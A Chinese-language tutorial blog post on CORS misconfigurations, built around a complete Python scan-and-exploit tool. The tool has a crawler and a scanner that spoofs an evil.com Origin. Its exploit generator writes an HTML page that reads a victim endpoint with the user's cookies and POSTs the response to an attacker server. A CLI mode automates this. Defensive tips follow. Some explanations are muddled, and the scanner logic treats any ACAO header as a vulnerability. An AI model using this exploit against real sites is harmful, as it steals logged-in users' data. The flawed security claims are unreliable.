CORS (跨域资源共享) 配置错误如何导致敏感信息泄露?请设计一种 CORS 扫描与利用的自动化工具。

各位观众老爷们,大家好!我是你们的老朋友,一个在代码堆里摸爬滚打多年的老兵。今天咱们不聊别的,就来聊聊 CORS 这个磨人的小妖精,以及如何利用它来搞点“事情”。当然,咱们搞事情的前提是:仅用于授权的安全测试,严禁用于非法用途!

一、CORS 是个啥?为啥它会泄露敏感信息?

CORS,全称 Cross-Origin Resource Sharing,翻译过来就是“跨域资源共享”。 这玩意儿是浏览器为了安全起见,搞出来的一套机制。 想象一下,没有 CORS,你在 evil.com 上写个脚本,直接就能读取 bank.com 上的数据,那还得了?银行卡里的钱分分钟被人搬空。

CORS 的核心思想就是:默认情况下,浏览器不允许一个域名的网页去请求另一个域名的资源。除非对方明确授权,允许你这么做。

那么,CORS 怎么会泄露敏感信息呢?

问题就出在这个“授权”上。如果网站的 CORS 配置不当,比如说:

  • *`Access-Control-Allow-Origin: `**: 这表示允许任何域名访问,相当于把大门敞开了,谁都能进来。如果网站返回的是用户的敏感数据,那可就糟了。
  • Access-Control-Allow-Origin: evil.com:看起来只允许 evil.com 访问,但如果 evil.com 是个恶意网站,那你的用户数据还是会被偷走。
  • Access-Control-Allow-Origin: null: 某些情况下(例如,从本地文件加载的 HTML),Origin 头部会是 null。 如果服务器错误地允许 null 来源,就可能导致攻击者从本地文件系统读取敏感信息。
  • *`Access-Control-Allow-Origin: .example.com`**: 这种通配符匹配看起来很方便,但如果子域名被攻破,攻击者就能利用这个漏洞读取主域名下的数据。
  • Access-Control-Allow-Origin: evil.com.attacker.com: 攻击者可以注册一个以合法域名结尾的域名,利用服务器的字符串匹配漏洞绕过限制。

总之,CORS 配置稍有不慎,就会变成一个安全漏洞,让攻击者有机可乘。

二、CORS 扫描与利用自动化工具设计

既然 CORS 这么重要,那我们就来设计一个自动化工具,用来扫描和利用 CORS 配置错误。 这个工具主要包含以下几个模块:

  1. 目标发现模块: 负责收集目标网站的所有 URL。
  2. CORS 扫描模块: 负责检测每个 URL 的 CORS 配置,判断是否存在漏洞。
  3. 漏洞利用模块: 负责利用发现的 CORS 漏洞,尝试读取敏感信息。
  4. 报告生成模块: 负责生成扫描报告,详细列出发现的漏洞和利用结果。

接下来,我们就来详细设计每个模块。

1. 目标发现模块

这个模块可以使用各种爬虫技术,从目标网站的首页开始,递归地抓取所有链接。 也可以使用一些现成的爬虫框架,比如 Scrapy。

import scrapy

class TargetSpider(scrapy.Spider):
    name = "target_spider"
    start_urls = ["http://example.com"] # 替换为目标网站

    def parse(self, response):
        for href in response.css('a::attr(href)').getall():
            yield response.follow(href, self.parse)
        yield {'url': response.url}

# 运行爬虫的示例代码 (需要安装 scrapy)
# scrapy crawl target_spider -o urls.json

这个爬虫会递归地抓取 example.com 及其所有子页面的 URL,并将结果保存到 urls.json 文件中。

2. CORS 扫描模块

这个模块是整个工具的核心。 它会读取目标发现模块收集到的 URL,然后逐个发送 HTTP 请求,并检查响应头中的 Access-Control-Allow-Origin 字段。

import requests
import json

def scan_cors(url, evil_origin="https://evil.com"):
    """扫描 CORS 配置"""
    try:
        # 发送 OPTIONS 请求,模拟跨域请求
        headers = {'Origin': evil_origin}
        response = requests.options(url, headers=headers)

        # 检查响应头
        if 'Access-Control-Allow-Origin' in response.headers:
            acao = response.headers['Access-Control-Allow-Origin']
            print(f"[+] Found Access-Control-Allow-Origin: {acao} on {url}")
            return url, acao
        else:
            print(f"[-] No Access-Control-Allow-Origin found on {url}")
            return None, None
    except requests.exceptions.RequestException as e:
        print(f"[-] Error scanning {url}: {e}")
        return None, None

def process_urls(urls_file):
    """处理 URL 列表,扫描 CORS 配置"""
    with open(urls_file, 'r') as f:
        urls = [json.loads(line)['url'] for line in f] # 从 JSON 文件读取 URL
    vulnerable_urls = []
    for url in urls:
        vuln_url, acao = scan_cors(url)
        if vuln_url:
            vulnerable_urls.append((vuln_url, acao))
    return vulnerable_urls

# 示例用法
# vulnerable = process_urls('urls.json')
# print(vulnerable)

这个函数会向目标 URL 发送一个 OPTIONS 请求,并在请求头中设置 Origin 字段为 evil.com。 然后,它会检查响应头中是否存在 Access-Control-Allow-Origin 字段。 如果存在,就说明这个 URL 可能存在 CORS 漏洞。

3. 漏洞利用模块

如果 CORS 扫描模块发现了漏洞,这个模块就会尝试利用这些漏洞,读取敏感信息。

import requests

def exploit_cors(url, evil_origin, acao):
    """利用 CORS 漏洞读取数据"""
    # 创建一个 HTML 文件,用于发起跨域请求
    html_content = f"""
    <!DOCTYPE html>
    <html>
    <head>
    <title>CORS Exploitation</title>
    </head>
    <body>
    <script>
        function corsRequest() {{
            var xhr = new XMLHttpRequest();
            var method = 'GET';
            var url = '{url}';

            xhr.onload = function() {{
                // 处理响应数据
                console.log("Response:", xhr.responseText);
                // 将响应数据发送到攻击者的服务器
                sendDataToAttacker(xhr.responseText);
            }};

            xhr.onerror = function() {{
                console.error("Request failed");
            }};

            xhr.open(method, url, true);
            xhr.withCredentials = true; // 如果需要发送 Cookie
            xhr.send();
        }}

        function sendDataToAttacker(data) {{
            // 将数据发送到攻击者的服务器,例如通过 POST 请求
            fetch('{evil_origin}/log', {{
                method: 'POST',
                body: data
            }});
        }}

        corsRequest();
    </script>
    </body>
    </html>
    """

    # 将 HTML 内容保存到本地文件
    with open("exploit.html", "w") as f:
        f.write(html_content)

    print(f"[+] Saved exploit code to exploit.html. Open it in your browser from {evil_origin} (served locally, e.g., using python -m http.server)")
    print("[+] If the server is vulnerable, you should see the data in your attacker's server logs.")

# 示例用法
# exploit_cors('http://example.com/api/userinfo', 'http://evil.com', '*')

这个函数会生成一个 HTML 文件,其中包含一段 JavaScript 代码,用于发起跨域请求。 然后,它会提示用户在浏览器中打开这个 HTML 文件。 如果 CORS 配置存在漏洞,浏览器就会允许这个跨域请求,并将目标 URL 的响应数据发送到攻击者的服务器。

这个 exploit.html 文件需要部署在攻击者的服务器上。 攻击者需要搭建一个 HTTP 服务器,用于托管这个文件。 比如,可以使用 Python 的 http.server 模块:

python -m http.server 8000

然后,在浏览器中打开 http://evil.com:8000/exploit.html,就可以触发 CORS 漏洞了。

4. 报告生成模块

这个模块会将扫描结果和利用结果整理成一份报告,方便用户查看。

import json

def generate_report(vulnerable_urls, report_file="cors_report.json"):
    """生成扫描报告"""
    report_data = []
    for url, acao in vulnerable_urls:
        report_data.append({
            "url": url,
            "access_control_allow_origin": acao,
            "status": "Vulnerable"  # 可以根据利用结果更新状态
        })

    with open(report_file, "w") as f:
        json.dump(report_data, f, indent=4)

    print(f"[+] Report saved to {report_file}")

# 示例用法
# generate_report(vulnerable, "my_report.json")

这个函数会将扫描到的所有漏洞 URL 和 Access-Control-Allow-Origin 的值保存到一个 JSON 文件中。

三、自动化工具的整合

现在,我们已经完成了各个模块的设计。接下来,我们将这些模块整合在一起,创建一个完整的自动化工具。

import scrapy
from scrapy.crawler import CrawlerProcess
import requests
import json
import argparse

# 目标发现模块 (Scrapy 爬虫)
class TargetSpider(scrapy.Spider):
    name = "target_spider"

    def __init__(self, start_urls=None, *args, **kwargs):
        super(TargetSpider, self).__init__(*args, **kwargs)
        self.start_urls = start_urls or ["http://example.com"]

    def parse(self, response):
        for href in response.css('a::attr(href)').getall():
            yield response.follow(href, self.parse)
        yield {'url': response.url}

# CORS 扫描模块
def scan_cors(url, evil_origin="https://evil.com"):
    """扫描 CORS 配置"""
    try:
        # 发送 OPTIONS 请求,模拟跨域请求
        headers = {'Origin': evil_origin}
        response = requests.options(url, headers=headers)

        # 检查响应头
        if 'Access-Control-Allow-Origin' in response.headers:
            acao = response.headers['Access-Control-Allow-Origin']
            print(f"[+] Found Access-Control-Allow-Origin: {acao} on {url}")
            return url, acao
        else:
            print(f"[-] No Access-Control-Allow-Origin found on {url}")
            return None, None
    except requests.exceptions.RequestException as e:
        print(f"[-] Error scanning {url}: {e}")
        return None, None

def process_urls(urls):
    """处理 URL 列表,扫描 CORS 配置"""
    vulnerable_urls = []
    for url in urls:
        vuln_url, acao = scan_cors(url)
        if vuln_url:
            vulnerable_urls.append((vuln_url, acao))
    return vulnerable_urls

# 漏洞利用模块
def exploit_cors(url, evil_origin, acao):
    """利用 CORS 漏洞读取数据"""
    # 创建一个 HTML 文件,用于发起跨域请求
    html_content = f"""
    <!DOCTYPE html>
    <html>
    <head>
    <title>CORS Exploitation</title>
    </head>
    <body>
    <script>
        function corsRequest() {{
            var xhr = new XMLHttpRequest();
            var method = 'GET';
            var url = '{url}';

            xhr.onload = function() {{
                // 处理响应数据
                console.log("Response:", xhr.responseText);
                // 将响应数据发送到攻击者的服务器
                sendDataToAttacker(xhr.responseText);
            }};

            xhr.onerror = function() {{
                console.error("Request failed");
            }};

            xhr.open(method, url, true);
            xhr.withCredentials = true; // 如果需要发送 Cookie
            xhr.send();
        }}

        function sendDataToAttacker(data) {{
            // 将数据发送到攻击者的服务器,例如通过 POST 请求
            fetch('{evil_origin}/log', {{
                method: 'POST',
                body: data
            }});
        }}

        corsRequest();
    </script>
    </body>
    </html>
    """

    # 将 HTML 内容保存到本地文件
    with open("exploit.html", "w") as f:
        f.write(html_content)

    print(f"[+] Saved exploit code to exploit.html. Open it in your browser from {evil_origin} (served locally, e.g., using python -m http.server)")
    print("[+] If the server is vulnerable, you should see the data in your attacker's server logs.")

# 报告生成模块
def generate_report(vulnerable_urls, report_file="cors_report.json"):
    """生成扫描报告"""
    report_data = []
    for url, acao in vulnerable_urls:
        report_data.append({
            "url": url,
            "access_control_allow_origin": acao,
            "status": "Vulnerable"  # 可以根据利用结果更新状态
        })

    with open(report_file, "w") as f:
        json.dump(report_data, f, indent=4)

    print(f"[+] Report saved to {report_file}")

def main():
    parser = argparse.ArgumentParser(description="CORS Scanner and Exploiter")
    parser.add_argument("-u", "--url", help="Target URL to scan", required=False)
    parser.add_argument("-f", "--file", help="File containing list of URLs", required=False)
    parser.add_argument("-d", "--discover", help="Discover URLs using crawler starting from this URL", required=False)
    parser.add_argument("-e", "--evil", help="Attacker's domain (e.g., https://evil.com)", default="https://evil.com")
    parser.add_argument("-o", "--output", help="Output report file", default="cors_report.json")
    parser.add_argument("-x", "--exploit", help="Exploit a specific vulnerable URL", required=False)

    args = parser.parse_args()

    vulnerable = []

    if args.discover:
        print(f"[+] Discovering URLs starting from {args.discover}")
        process = CrawlerProcess()
        spider = TargetSpider(start_urls=[args.discover])
        process.crawl(spider)
        process.start() # the script will block here until the crawling is finished
        urls = []
        with open('urls.json', 'r') as f:
            for line in f:
                urls.append(json.loads(line)['url'])

        vulnerable = process_urls(urls)
        generate_report(vulnerable, args.output)
    elif args.url:
        print(f"[+] Scanning single URL: {args.url}")
        vuln_url, acao = scan_cors(args.url, args.evil)
        if vuln_url:
            vulnerable = [(vuln_url, acao)]
            generate_report(vulnerable, args.output)
    elif args.file:
        print(f"[+] Scanning URLs from file: {args.file}")
        urls = []
        with open(args.file, 'r') as f:
            for line in f:
                urls.append(line.strip())
        vulnerable = process_urls(urls)
        generate_report(vulnerable, args.output)
    elif args.exploit:
        print(f"[+] Exploiting URL: {args.exploit}")
        vuln_url, acao = scan_cors(args.exploit, args.evil)
        if vuln_url:
            exploit_cors(args.exploit, args.evil, acao)
        else:
            print("[-] URL is not vulnerable to CORS.")
    else:
        print("[-] No target specified. Use -u, -f, or -d to specify a target.")

if __name__ == "__main__":
    main()

使用方法:

  1. 安装依赖:

    pip install scrapy requests
  2. 运行工具:

    • 扫描单个 URL:

      python cors_tool.py -u http://example.com -e https://evil.com -o report.json
    • 扫描 URL 列表:

      python cors_tool.py -f urls.txt -e https://evil.com -o report.json

      urls.txt 文件包含要扫描的 URL 列表,每行一个 URL。

    • 爬取并扫描网站:

      python cors_tool.py -d http://example.com -e https://evil.com -o report.json

      这个命令会使用 Scrapy 爬取 http://example.com 及其子页面,然后扫描这些 URL 的 CORS 配置。

    • 利用漏洞:

      python cors_tool.py -x http://example.com/api/userinfo -e https://evil.com

      这个命令会生成一个 HTML 文件,用于利用 http://example.com/api/userinfo 上的 CORS 漏洞。 然后,你需要在浏览器中打开这个 HTML 文件,并查看攻击者服务器的日志,看是否成功读取到数据。

四、工具的局限性和改进方向

这个工具只是一个初步的实现,还存在一些局限性:

  • 只能检测简单的 CORS 配置错误: 无法检测复杂的 CORS 配置,比如基于请求头中的其他字段进行授权。
  • 无法自动利用漏洞: 需要手动打开生成的 HTML 文件,并查看攻击者服务器的日志。
  • 没有处理速率限制: 如果目标网站有速率限制,可能会被封 IP。
  • 依赖于 Scrapy: 虽然 Scrapy 很强大,但对于简单的爬虫任务来说,有点重。

未来可以从以下几个方面改进这个工具:

  • 支持更多 CORS 配置的检测: 可以使用正则表达式或其他技术,分析 Access-Control-Allow-Origin 字段的值,判断是否存在更复杂的漏洞。
  • 自动化漏洞利用: 可以使用 Selenium 或 Puppeteer 等工具,模拟用户在浏览器中的操作,自动打开 HTML 文件,并收集攻击者服务器的日志。
  • 实现速率限制处理: 可以使用代理 IP 池或调整请求频率,避免被目标网站封 IP。
  • 重构爬虫模块: 可以使用 requests 库或其他更轻量级的 HTTP 客户端,实现一个简单的爬虫。
  • 增加Payload生成模块,可以根据不同的CORS配置生成不同的Payload。
  • 增加对 preflight 请求的处理,更准确地判断CORS配置是否正确。

五、CORS 安全防护建议

说了这么多,都是为了让大家更好地理解 CORS 漏洞的危害,以及如何防范这些漏洞。 以下是一些 CORS 安全防护建议:

  • *不要使用 `Access-Control-Allow-Origin: `**: 这会允许任何域名访问你的资源,非常危险。
  • 尽量避免使用通配符子域名: 如果必须使用通配符子域名,一定要仔细评估风险。
  • 验证 Origin 头部的值: 在服务器端验证 Origin 头部的值,只允许受信任的域名访问你的资源。
  • 使用 CORS 库或框架: 许多编程语言和框架都提供了 CORS 库或框架,可以帮助你更轻松地配置 CORS。
  • 定期进行安全审计: 定期扫描你的网站,检查是否存在 CORS 漏洞。

总结

CORS 漏洞是一种常见的 Web 安全漏洞,如果不加以防范,可能会导致敏感信息泄露。 通过理解 CORS 的原理,以及如何利用 CORS 漏洞,我们可以更好地保护我们的网站安全。

记住,安全是一个持续的过程,需要不断学习和改进。 希望今天的讲座能对你有所帮助! 咱们下期再见!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注